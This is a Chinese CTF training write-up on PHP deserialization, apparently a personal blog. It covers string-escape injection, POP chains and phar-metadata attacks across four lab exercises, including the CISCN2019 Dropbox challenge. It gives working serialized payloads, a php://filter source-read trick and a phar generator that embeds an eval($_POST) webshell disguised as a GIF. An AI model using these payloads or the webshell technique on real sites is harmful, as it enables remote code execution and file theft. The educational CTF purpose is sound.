0%

CTF特训营(WEB序列化)

前言

序列化与反序列化、字符逃逸、phar文件特性、pop链构造

作业一

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
<?php
#show_source("index.php");
function write($data) {
return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data);
}

function read($data) {
return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);
}

class A{
public $username;
public $password;
function __construct($a, $b){
$this->username = $a;
$this->password = $b;
}
}

class B{
public $b = 'gqy';
function __destruct(){
$c = 'a'.$this->b;
echo $c;
}
}

class C{
public $c="flag.php";
function __toString(){
//flag.php
echo file_get_contents($this->c);
return 'nice';
}
}

$a = new A($_GET['a'],$_GET['b']);
$b = unserialize(read(write(serialize($a))));

很明显的反序列化+字符串逃逸

payload

这题很明显先将B和C两个类POP起来。
然后通过$_GET[‘a’]来逃逸,最后结合$_GET[‘b’]执行。

1
2
3
4
5
6
7
$b = new B();
$c = new C();
$b->b=$c;
$c->c="flag.php";

$a=new A("ss",$b);
echo serialize($a);

先生成一个可执行的序列化字符串,用于计算需要逃逸的字符串长度和后面序列化串。

1
echo strlen('";s:8:"password";s:75:"');

这里的逃逸是6位换3位。,上面长度是23。所以$_GET[‘b’]还要再补一位。

1
str_replace('\0\0\0', chr(0) . '*' . chr(0), $data);

最终的payload

1
a=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&b=a%22;s:8:%22password%22;O:1:%22B%22:1:{s:1:%22b%22;O:1:%22C%22:1:{s:1:%22c%22;s:8:%22flag.php%22;}}}

flag

$flag=”flag{123flag}

作业二

分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
 <?php
show_source(__FILE__);
@include("flag.php");
class start_gg
{
public $mod1;
public $mod2;
public function __destruct()
{
$this->mod1->test1();
}
}
class Call
{
public $mod1;
public $mod2;
public function test1()
{
$this->mod1->test2();
}
}

class CallFunc
{
public $mod1;
public $mod2;
public function __call($test2,$arr)
{
$s1 = $this->mod1;
$s1();
}
}class InvokeFunc
{
public $mod1;
public $mod2;
public function __invoke()
{
$this->mod2 = "字符串拼接".$this->mod1;
}
}
class ToStringFunc
{
public $str1;
public $str2;
public function __toString()
{
$this->str1->get_flag();
return "1";
}
}
class GetFlag
{
public function get_flag()
{
echo $flag;
}
}
$a = $_GET['string'];
unserialize($a);
?>

一堆超长的序列化链,一串串搞上去。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
$f=new GetFlag();
$fun=new ToStringFunc();
$fun->str1=$f;
$I= new InvokeFunc();
$I->mod1=$fun;
$C=new CallFunc();
$C->mod1=$I;
$CALL= new Call();
$CALL->mod1=$C;
$gg=new start_gg();
$gg->mod1=$CALL;

echo serialize($gg);
1
http://192.168.201.250:9008/?string=O:8:"start_gg":2:{s:4:"mod1";O:4:"Call":2:{s:4:"mod1";O:8:"CallFunc":2:{s:4:"mod1";O:10:"InvokeFunc":2:{s:4:"mod1";O:12:"ToStringFunc":2:{s:4:"str1";O:7:"GetFlag":0:{}s:4:"str2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}s:4:"mod2";N;}

flag

作业
flag{123qwe}

作业三

分析

作业
一个眼看过去。应当是有文件包含。
通过php伪协议读取一下源码

php://filter/read=convert.base64-encode/resource=index

发现几个关键文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
include("file_un.php");

echo "<h1>图片预览器</h1>";
$file_name=$_GET['filename'];

if(!isset($file_name)){
$file_name='./upload_file/background.gif';
}

if(file_exists($file_name)){
echo "<br><img widht=800 height=600 src=\"".$file_name."\"><br>";
}else{

echo "还未上传图片";

}

?>
1
2
3
4
5
6
7
8
9
<?php

class AnyClass{
var $output = 'echo "ok";';
function __destruct()
{
eval($this -> output);
}
}

没有反序列化函数。但是貌似可以通过phar来搞。

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php

class AnyClass{
var $output = 'eval($_POST["hehe"]);';
}

@unlink("1.gif");
// create new Phar
$phar = new Phar('1.gif');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('GIF98a<?php __HALT_COMPILER(); ? >');

$o=new AnyClass();

$phar->setMetadata($o);
$phar->stopBuffering();

然后将生成的gif上传。访问一下一句话木马。

1
http://192.168.201.250:9009/show_image.php?filename=phar://upload_file/background.gif

作业
访问成功。

flag

作业

作业四 [CISCN2019]Dropbox

注册一下发现注册登录界面是没有注入漏洞的。
扫描一下吧。看看有没有源码泄露问题,好像没有这个问题。
上传个文件看一下效果吧。
1
发现其下载很有意思。
1
经过几次尝试,发现存在任意文件下载的漏洞。
下载了几个关键的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
//主要就是这个Class.php文件
<?php
error_reporting(0);
$dbaddr = "127.0.0.1";
$dbuser = "root";
$dbpass = "root";
$dbname = "dropbox";
$db = new mysqli($dbaddr, $dbuser, $dbpass, $dbname);

class User {
public $db;

public function __construct() {
global $db;
$this->db = $db;
}

public function user_exist($username) {
$stmt = $this->db->prepare("SELECT `username` FROM `users` WHERE `username` = ? LIMIT 1;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->store_result();
$count = $stmt->num_rows;
if ($count === 0) {
return false;
}
return true;
}

public function add_user($username, $password) {
if ($this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("INSERT INTO `users` (`id`, `username`, `password`) VALUES (NULL, ?, ?);");
$stmt->bind_param("ss", $username, $password);
$stmt->execute();
return true;
}

public function verify_user($username, $password) {
if (!$this->user_exist($username)) {
return false;
}
$password = sha1($password . "SiAchGHmFx");
$stmt = $this->db->prepare("SELECT `password` FROM `users` WHERE `username` = ?;");
$stmt->bind_param("s", $username);
$stmt->execute();
$stmt->bind_result($expect);
$stmt->fetch();
if (isset($expect) && $expect === $password) {
return true;
}
return false;
}

public function __destruct() {
$this->db->close();
}
}

class FileList {
private $files;
private $results;
private $funcs;

public function __construct($path) {
$this->files = array();
$this->results = array();
$this->funcs = array();
$filenames = scandir($path);

$key = array_search(".", $filenames);
unset($filenames[$key]);
$key = array_search("..", $filenames);
unset($filenames[$key]);

foreach ($filenames as $filename) {
$file = new File();
$file->open($path . $filename);
array_push($this->files, $file);
$this->results[$file->name()] = array();
}
}

public function __call($func, $args) {
array_push($this->funcs, $func);
foreach ($this->files as $file) {
$this->results[$file->name()][$func] = $file->$func();
}
}

public function __destruct() {
$table = '<div id="container" class="container"><div class="table-responsive"><table id="table" class="table table-bordered table-hover sm-font">';
$table .= '<thead><tr>';
foreach ($this->funcs as $func) {
$table .= '<th scope="col" class="text-center">' . htmlentities($func) . '</th>';
}
$table .= '<th scope="col" class="text-center">Opt</th>';
$table .= '</thead><tbody>';
foreach ($this->results as $filename => $result) {
$table .= '<tr>';
foreach ($result as $func => $value) {
$table .= '<td class="text-center">' . htmlentities($value) . '</td>';
}
$table .= '<td class="text-center" filename="' . htmlentities($filename) . '"><a href="#" class="download">下载</a> / <a href="#" class="delete">删除</a></td>';
$table .= '</tr>';
}
echo $table;
}
}

class File {
public $filename;

public function open($filename) {
$this->filename = $filename;
if (file_exists($filename) && !is_dir($filename)) {
return true;
} else {
return false;
}
}

public function name() {
return basename($this->filename);
}

public function size() {
$size = filesize($this->filename);
$units = array(' B', ' KB', ' MB', ' GB', ' TB');
for ($i = 0; $size >= 1024 && $i < 4; $i++) $size /= 1024;
return round($size, 2).$units[$i];
}

public function detele() {
unlink($this->filename);
}

public function close() {
return file_get_contents($this->filename);
}
}
?>

然后就是构造出来的phar进行序列化操作。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php

class User {
public $db;
}

class File {
public $filename;
}
class FileList {
private $files;
private $results;
private $funcs;

public function __construct() {
$file = new File();
$file->filename = '/flag.txt';
$this->files = array($file);
$this->results = array();
$this->funcs = array();
}
}

@unlink("phar.phar");
// create new Phar
$phar = new Phar('phar.phar');
$phar->startBuffering();
$phar->addFromString('test.txt', 'text');
$phar->setStub('GIF98a<?php __HALT_COMPILER(); ? >');
$o = new User();
$o->db = new FileList();

$phar->setMetadata($o);
$phar->stopBuffering();

因为phar://伪协议居然不用反序列化也能执行。
而且很多函数都能触发:

1
2
3
4
5
6
7
8
9
file_exists()
file_put_contents()
is_dir()
filesize()
filemtime()
fopen()
is_writeable()
is_readable()
getimagesize()

最后将生成的文件改名成jpg。提交
拿到flag
1

坚持原创技术分享,您的支持将鼓励我继续创作!